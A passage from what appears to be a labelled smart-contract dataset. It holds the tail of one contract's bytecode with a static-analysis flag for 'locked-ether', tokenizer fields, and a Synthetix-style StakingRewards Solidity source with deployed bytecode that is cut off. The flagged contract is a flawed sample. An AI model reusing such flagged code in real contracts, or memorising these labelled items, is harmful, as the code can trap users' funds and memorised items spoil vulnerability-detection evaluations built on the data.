680156109a15780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15156109c257600080fd5b5af115156109cf57600080fd5b5060019695505050505050565b8181028215806109f657508183828115156109f357fe5b04145b151561052557600080fd5b600154600160a060020a031681565b6000805433600160a060020a03908116911614610a2c57600080fd5b600054600160a060020a038085169163a9059cbb91168460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610a8657600080fd5b5af11515610a9357600080fd5b5050506040518051949350505050565b600160a060020a03918216600090815260076020908152604080832093909416825291909152205490565b8181018281101561052557600080fd5b60005433600160a060020a03908116911614610af957600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a723058205f936fc7acd43d82813265c8d7eccdb78afc2fd9ae7f6e2e5c2a294676afb9420029 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | true | null | {'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]} | [
101,
1014,
2595,
2683,
22275,
5243,
2683,
22394,
2497,
2094,
21926,
2278,
16703,
2683,
12879,
3540,
2581,
2546,
27814,
20842,
2063,
18827,
27717,
22932,
23833,
2620,
2581,
2546,
22907,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2324,
1025,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
1005,
2552,
21472,
28756,
21926,
1005,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,504 | 0x953eb9a4A0326F19f1741C57593709ff56929280 | pragma solidity ^0.5.16;
import "@openzeppelin/contracts/math/Math.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
// Inheritance
import "./interfaces/IStakingRewards.sol";
import "./RewardsDistributionRecipient.sol";
import "./Pausable.sol";
// https://docs.synthetix.io/contracts/source/contracts/stakingrewards
contract StakingRewards is IStakingRewards, RewardsDistributionRecipient, ReentrancyGuard, Pausable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/* ========== STATE VARIABLES ========== */
IERC20 public rewardsToken;
IERC20 public stakingToken;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public rewardsDuration = 7 days;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
/* ========== CONSTRUCTOR ========== */
constructor(
address _owner,
address _rewardsDistribution,
address _rewardsToken,
address _stakingToken,
uint256 _rewardsDuration
) public Owned(_owner) {
rewardsToken = IERC20(_rewardsToken);
stakingToken = IERC20(_stakingToken);
rewardsDistribution = _rewardsDistribution;
rewardsDuration = _rewardsDuration;
}
/* ========== VIEWS ========== */
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (_totalSupply == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(
lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply)
);
}
function earned(address account) public view returns (uint256) {
return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]);
}
function getRewardForDuration() external view returns (uint256) {
return rewardRate.mul(rewardsDuration);
}
/* ========== MUTATIVE FUNCTIONS ========== */
function stake(uint256 amount) external nonReentrant notPaused updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot withdraw 0");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
stakingToken.safeTransfer(msg.sender, amount);
emit Withdrawn(msg.sender, amount);
}
function getReward() public nonReentrant updateReward(msg.sender) {
uint256 reward = rewards[msg.sender];
if (reward > 0) {
rewards[msg.sender] = 0;
rewardsToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function exit() external {
withdraw(_balances[msg.sender]);
getReward();
}
/* ========== RESTRICTED FUNCTIONS ========== */
function notifyRewardAmount(uint256 reward) external onlyRewardsDistribution updateReward(address(0)) {
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(rewardsDuration);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(rewardsDuration);
}
// Ensure the provided reward amount is not more than the balance in the contract.
// This keeps the reward rate in the right range, preventing overflows due to
// very high values of rewardRate in the earned and rewardsPerToken functions;
// Reward + leftover must be less than 2^256 / 10^18 to avoid overflow.
uint balance = rewardsToken.balanceOf(address(this));
require(rewardRate <= balance.div(rewardsDuration), "Provided reward too high");
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(rewardsDuration);
emit RewardAdded(reward);
}
function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner {
require(
block.timestamp > periodFinish,
"Previous rewards period must be complete before changing the duration for the new period"
);
rewardsDuration = _rewardsDuration;
emit RewardsDurationUpdated(rewardsDuration);
}
/* ========== MODIFIERS ========== */
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
/* ========== EVENTS ========== */
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardsDurationUpdated(uint256 newDuration);
event Recovered(address token, uint256 amount);
}
pragma solidity ^0.5.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
pragma solidity ^0.5.0;
import "./IERC20.sol";
/**
* @dev Optional functions from the ERC20 standard.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* > Note that this information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* `IERC20.balanceOf` and `IERC20.transfer`.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
pragma solidity ^0.5.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity ^0.5.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the `nonReentrant` modifier
* available, which can be aplied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*/
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
pragma solidity >=0.4.24;
interface IStakingRewards {
// Views
function lastTimeRewardApplicable() external view returns (uint256);
function rewardPerToken() external view returns (uint256);
function earned(address account) external view returns (uint256);
function getRewardForDuration() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
// Mutative
function stake(uint256 amount) external;
function withdraw(uint256 amount) external;
function getReward() external;
function exit() external;
}
pragma solidity ^0.5.16;
// Inheritance
import "./Owned.sol";
contract RewardsDistributionRecipient is Owned {
address public rewardsDistribution;
function notifyRewardAmount(uint256 reward) external;
modifier onlyRewardsDistribution() {
require(msg.sender == rewardsDistribution, "Caller is not RewardsDistribution contract");
_;
}
function setRewardsDistribution(address _rewardsDistribution) external onlyOwner {
rewardsDistribution = _rewardsDistribution;
}
}
pragma solidity ^0.5.16;
// Inheritance
import "./Owned.sol";
contract Pausable is Owned {
uint public lastPauseTime;
bool public paused;
constructor() internal {
// This contract is abstract, and thus cannot be instantiated directly
require(owner != address(0), "Owner must be set");
// Paused will be false, and lastPauseTime will be 0 upon initialisation
}
/**
* @notice Change the paused state of the contract
* @dev Only the contract owner may call this.
*/
function setPaused(bool _paused) external onlyOwner {
// Ensure we're actually changing the state before we do anything
if (_paused == paused) {
return;
}
// Set our paused state.
paused = _paused;
// If applicable, set the last pause time.
if (paused) {
lastPauseTime = now;
}
// Let everyone know that our pause state has changed.
emit PauseChanged(paused);
}
event PauseChanged(bool isPaused);
modifier notPaused {
require(!paused, "This action cannot be performed while the contract is paused");
_;
}
}
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.0;
/**
* @dev Collection of functions related to the address type,
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* > It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
pragma solidity ^0.5.16;
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
} | 0x608060405234801561001057600080fd5b50600436106101d95760003560e01c806372f702f311610104578063a694fc3a116100a2578063d1af0c7d11610071578063d1af0c7d146106fc578063df136d6514610746578063e9fad8ee14610764578063ebe2b12b1461076e576101d9565b8063a694fc3a14610664578063c8f33c9114610692578063cc1a378f146106b0578063cd3daf9d146106de576101d9565b806380faa57d116100de57806380faa57d146105865780638b876347146105a45780638da5cb5b146105fc57806391b4ded914610646576101d9565b806372f702f31461051457806379ba50971461055e5780637b0a47ee14610568576101d9565b80632e1a7d4d1161017c5780633fc6df6e1161014b5780633fc6df6e1461040657806353a47bb7146104505780635c975abb1461049a57806370a08231146104bc576101d9565b80632e1a7d4d14610382578063386a9525146103b05780633c6b16ab146103ce5780633d18b912146103fc576101d9565b806316c38b3c116101b857806316c38b3c146102d257806318160ddd1461030257806319762143146103205780631c1f78eb14610364576101d9565b80628cc262146101de5780630700037d146102365780631627540c1461028e575b600080fd5b610220600480360360208110156101f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061078c565b6040518082815260200191505060405180910390f35b6102786004803603602081101561024c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108aa565b6040518082815260200191505060405180910390f35b6102d0600480360360208110156102a457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c2565b005b610300600480360360208110156102e857600080fd5b81019080803515159060200190929190505050610971565b005b61030a610a1e565b6040518082815260200191505060405180910390f35b6103626004803603602081101561033657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a28565b005b61036c610a74565b6040518082815260200191505060405180910390f35b6103ae6004803603602081101561039857600080fd5b8101908080359060200190929190505050610a92565b005b6103b8610dcb565b6040518082815260200191505060405180910390f35b6103fa600480360360208110156103e457600080fd5b8101908080359060200190929190505050610dd1565b005b6104046111af565b005b61040e611455565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61045861147b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104a26114a1565b604051808215151515815260200191505060405180910390f35b6104fe600480360360208110156104d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114b4565b6040518082815260200191505060405180910390f35b61051c6114fd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610566611523565b005b610570611749565b6040518082815260200191505060405180910390f35b61058e61174f565b6040518082815260200191505060405180910390f35b6105e6600480360360208110156105ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611762565b6040518082815260200191505060405180910390f35b61060461177a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61064e61179f565b6040518082815260200191505060405180910390f35b6106906004803603602081101561067a57600080fd5b81019080803590602001909291905050506117a5565b005b61069a611b46565b6040518082815260200191505060405180910390f35b6106dc600480360360208110156106c657600080fd5b8101908080359060200190929190505050611b4c565b005b6106e6611bf1565b6040518082815260200191505060405180910390f35b610704611c7f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61074e611ca5565b6040518082815260200191505060405180910390f35b61076c611cab565b005b610776611cfd565b6040518082815260200191505060405180910390f35b60006108a3600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610895670de0b6b3a7640000610887610839600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461082b611bf1565b611d0390919063ffffffff16565b600f60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8c90919063ffffffff16565b611e1290919063ffffffff16565b611ea190919063ffffffff16565b9050919050565b600d6020528060005260406000206000915090505481565b6108ca611f29565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f906a1c6bd7e3091ea86693dd029a831c19049ce77f1dce2ce0bab1cacbabce2281604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b610979611f29565b600560009054906101000a900460ff161515811515141561099957610a1b565b80600560006101000a81548160ff021916908315150217905550600560009054906101000a900460ff16156109d057426004819055505b7f8fb6c181ee25a520cf3dd6565006ef91229fcfe5a989566c2a3b8c115570cec5600560009054906101000a900460ff16604051808215151515815260200191505060405180910390a15b50565b6000600e54905090565b610a30611f29565b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610a8d600954600854611d8c90919063ffffffff16565b905090565b60016003600082825401925050819055506000600354905033610ab3611bf1565b600b81905550610ac161174f565b600a81905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610b8e57610b048161078c565b600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b54600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60008311610c04576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f43616e6e6f74207769746864726177203000000000000000000000000000000081525060200191505060405180910390fd5b610c1983600e54611d0390919063ffffffff16565b600e81905550610c7183600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0390919063ffffffff16565b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d013384600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611fd09092919063ffffffff16565b3373ffffffffffffffffffffffffffffffffffffffff167f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5846040518082815260200191505060405180910390a2506003548114610dc7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b5050565b60095481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e77576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180612538602a913960400191505060405180910390fd5b6000610e81611bf1565b600b81905550610e8f61174f565b600a81905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610f5c57610ed28161078c565b600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b54600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6007544210610f8557610f7a60095483611e1290919063ffffffff16565b600881905550610fe7565b6000610f9c42600754611d0390919063ffffffff16565b90506000610fb560085483611d8c90919063ffffffff16565b9050610fde600954610fd08387611ea190919063ffffffff16565b611e1290919063ffffffff16565b60088190555050505b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561108857600080fd5b505afa15801561109c573d6000803e3d6000fd5b505050506040513d60208110156110b257600080fd5b810190808051906020019092919050505090506110da60095482611e1290919063ffffffff16565b6008541115611151576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f50726f76696465642072657761726420746f6f2068696768000000000000000081525060200191505060405180910390fd5b42600a8190555061116d60095442611ea190919063ffffffff16565b6007819055507fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d836040518082815260200191505060405180910390a1505050565b600160036000828254019250508190555060006003549050336111d0611bf1565b600b819055506111de61174f565b600a81905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146112ab576112218161078c565b600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b54600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008111156113d9576000600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061138a3382600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611fd09092919063ffffffff16565b3373ffffffffffffffffffffffffffffffffffffffff167fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486826040518082815260200191505060405180910390a25b50506003548114611452576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b50565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900460ff1681565b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115c9576040517f08c379a0000000000000000000000000000